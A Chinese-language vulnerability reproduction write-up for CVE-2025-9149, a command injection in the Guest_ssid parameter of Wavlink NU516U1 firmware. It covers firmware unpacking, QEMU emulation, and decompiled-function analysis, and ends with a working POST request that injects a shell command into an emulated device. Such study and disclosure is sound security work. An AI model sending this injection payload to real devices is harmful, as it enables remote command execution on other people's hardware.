Files
Penetration_Testing_POC/iot/Wavlink-NU516-wireless (CVE-2025-9149)漏洞复现.md

110 lines
6.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Wavlink-NU516-wireless (CVE-2025-9149)漏洞复现
> Juana_2u
> 来源:https://www.iotsec-zone.com/article/513
# 漏洞情报
CVE-2025-9149:在WAVLINK-NU516U1型号的固件(用于提供打印机服务器网卡)中发现漏洞,该漏洞存在于/cgi-bin/wireless.cgi中的sub_4032E4函数,对参数Guest_ssid的这种操作导致命令注入。这种攻击有可能远程实施。该漏洞已被公开披露,并可能被利用。
固件下载地址:[https://docs.wavlink.xyz/Firmware/fm-516u1/](https://docs.wavlink.xyz/Firmware/fm-516u1/)
# 信息收集
binwalk查看固件信息并解包。
```
binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
```
![0.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccc8beull9tzdgfoe.png)
在squashfs-root文件夹下查看固件信息,使用file&checksec&readelf工具知道固件是MIPS架构32位。
![1.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccc8jz6zr6rq1qunt.png)
使用firmwalker脚本查看web服务器使用的是lighttpd。
![2.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccc8tbida5ylb27qn.png)
# 固件模拟
使用qemu模拟固件环境。这里会遇到非法指令的错误,原因是cpu架构的兼容性不够,更换使用支持更多指令集的74Kf的CPU,修改后的命令如下。
```
##网卡配置
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.100.1/24 up
##qemu模拟
qemu-system-mipsel \
-M malta \
-cpu 74Kf\
-kernel /home/iot/tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
-hda /home/iot/tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
#在qemu环境模拟了之后就可以进行系统环境的配置
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount --bind /dev/ dev/
#网卡配置
ip link add br0 type dummy
ifconfig eth0 192.168.100.2/24
ifconfig br0 192.168.100.3/24
```
打包squashfs-root文件夹,再利用http传到模拟的系统中解包,运行etc/init.d文件夹下的lighttpd服务。访问配置的eth0网卡的ip地址192.168.100.2,访问成功。
![3.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccc9d47p5uqg21mdn.png)
## 问题解决
**问题一**:chroot正常运行/etc/init.d/lighttpd时出现的报错如下图。使用命令`grep -ir "/var/lock/password"`在squashfs-root文件夹中检索报错的字符串,定位到/lib/functions.sh文件。解决方法就是先运行这个脚本再起服务。
![4.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccca6v34hw8soe2gx.png)
**问题二**:解决了第一个/var/lock/passwd无法打开的情况,出现的找不到/var/文件夹的报错,查看lighttpd的源码。
![5.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccahwyqa54locsz4.png)
![6.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccakp9mj234rnv5v.png)
ls -la查看之后发现是软链接到/dev/null,会被直接丢弃,解决方法就是将这个文件删掉之后直接mkdir var手动重新创建一个新的var文件夹。
![7.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccars5euag9sldmz.png)
**问题三**:小概率还会出现的报错如下,解决方法就是注释掉lighttpd.conf文件中的443端口的调用文件。但这个报错一般是上面挂载的问题引起的。
```
2025-08-26 03:05:38: (network.c.788) SSL: not enough entropy in the pool
```
![8.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccb7rnag4uchznzk.png)
# 漏洞分析
根据漏洞情报公开的信息,定位到漏洞所在的文件/etc/lighttpd/www/cgi-bin/wireless.cgi与函数sub_405EA8位置。
![9.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccblhns0x40fhinf.png)
![10.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccbppub6nfgg1tax.png)
分析函数sub_405EA8是POST提交的表单的处理函数,上一级函数ftext中`v8 = sub_405EA8("page", (int)v4, 0);`跟进到函数sub_405EA8,联系到a1是拼接好的"`&page=`"提示符,a2是post传参的&page的值,调用函数sub_405DE8解码之后,a3决定打印的模式,将返回表单的处理结果给到v8。
![11.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccc5msm0jp21mcbr.png)
返回到上级函数ftext,分析将page参数值v8设置为GuestWifi时,即拼接的第一部分为`page=GuestWifi`,触发进入sub_4032E4函数。
![12.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccccfiukwtn0o3mto.png)
跟进到sub_4032E4函数调用结果如下,Guest_ssid传入表单处理函数之后的值利用函数strdup拷贝到参数v15。同时,注意到调用到参数v15要满足v4等于1的情况,即启用guest模式(guest Wi-Fi),即拼接的第二部分`guestEn=1`,满足条件之后就可以构造参数v15进行命令注入。
![13.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccccshv8dbrbwjfxu.png)
![14.png](https://www.iotsec-zone.com/api/image/v2/20250826/dccccx1zc0kldkybco.png)
进一步跟进到函数sub_407504,已经传入了参数a1与a2,所以只能利用参数a3构造可变参数,拼接到v8变量触发`system()`函数来执行。
![15.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccd3lcor6ik01bhg.png)
# 漏洞验证
访问固件模拟的ip地址192.168.100.2,输入默认密码admin登录,登录之后抓包使用burpsuite进行抓包。
![16.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccdnex1q6t8rq9x7.png)
根据上面对漏洞点的分析拼接构造的请求包,验证命令注入点。
![17.png](https://www.iotsec-zone.com/api/image/v2/20250826/dcccdtzjlvryjzi1gd.png)
成功写入1.txt文件,利用成功。
```
POST /cgi-bin/wireless.cgi HTTP/1.1
Host: 192.168.100.2
Content-Length: 48
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.100.2
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.100.2/html/networkSetting.shtml
Accept-Encoding: gzip, deflate, br
Cookie: session=1959568570
Connection: keep-alive
page=GuestWifi&guestEn=1&Guest_ssid=$(ps>/1.txt)
```
**参考资料**
[手把手带你分析mips架构下固件分析与漏洞挖掘](https://www.iotsec-zone.com/article/503)
[CVE-2025-9149](https://nvd.nist.gov/vuln/detail/CVE-2025-9149)